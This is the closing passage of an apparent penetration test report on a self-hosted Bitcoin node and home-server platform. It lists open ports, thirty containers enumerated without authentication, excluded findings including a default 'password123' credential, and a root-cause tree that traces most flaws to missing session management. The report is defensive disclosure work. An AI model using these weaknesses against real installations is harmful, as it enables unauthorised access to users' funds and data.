| 81/tcp | HTTP (Nginx Proxy Manager — setup incomplete) | No |
| 443/tcp | HTTPS (self-signed TLS) | No |
| 5678/tcp | HTTP (Rust backend — JSON-RPC) | No |
| 8080/tcp | HTTPS (LND REST API) | Macaroon |
C. Container Inventory (30 containers — enumerated without authentication)
bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana, onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint
D. Findings Not Exploitable (excluded from report)
| ID | Description | Reason |
|---|---|---|
| AUTH-004 | Hardcoded default credentials (password123) |
User has changed password on production |
| AUTH-010 | Weak initial password policy (8-char minimum) | Setup already complete |
| XSS-002/003 | postMessage origin bypass | Client-side only; confirmed via source review, not live exploitation |
| XSS-006 | test-aiui.html postMessage | Test file, minimal impact |
| SSRF-003 | LND proxy SSRF | TLS mismatch blocks data access |
| SSRF-005 | marketplace.get arbitrary URL fetch | Dormant code, not compiled into active binary |
| INJ-003 | Arbitrary volume mount via bundled-app-start | Requires valid app data; returned "Missing image" |
| INJ-005 | Argument injection via package.stop | Ambiguous result; needs further investigation |
E. Root Cause Analysis
AUTH-001 (No session management)
|
+-- AUTH-002 (All endpoints unauthenticated)
| |
| +-- AUTH-005 (Frontend-only auth)
| +-- AUTH-007 (WebSocket unauthenticated)
| +-- AUTH-008 (Message injection)
| +-- AUTH-011 (LND proxy unauthenticated)
| +-- AUTH-012 (Container logs unauthenticated)
| +-- SSRF-001 (Blind SSRF)
| +-- SSRF-002 (Outbound SSRF)
| +-- SSRF-004 (Arbitrary container pull)
| +-- INJ-001 (File oracle)
| +-- INJ-002 (Path traversal)
| +-- XSS-001 (Stored XSS)
| +-- INJ-007 (Log injection)
|
+-- AUTH-003 (No brute force protection)
+-- AUTH-006 (No-op logout)
AUTH-009/XSS-007 (CORS wildcard) — amplifies all above to remote exploitation
XSS-004 (Missing headers) — removes defense-in-depth for client-side attacks
Fixing AUTH-001 addresses the root cause and blocks exploitation of 15 of 21 findings. The remaining 6 (AUTH-003, AUTH-006, AUTH-009, XSS-001, XSS-004, XSS-007) require independent fixes but become significantly less impactful once authentication is in place.
End of Report
Report generated: 2026-03-06 | Assessment period: 2026-03-06 | Classification: CONFIDENTIAL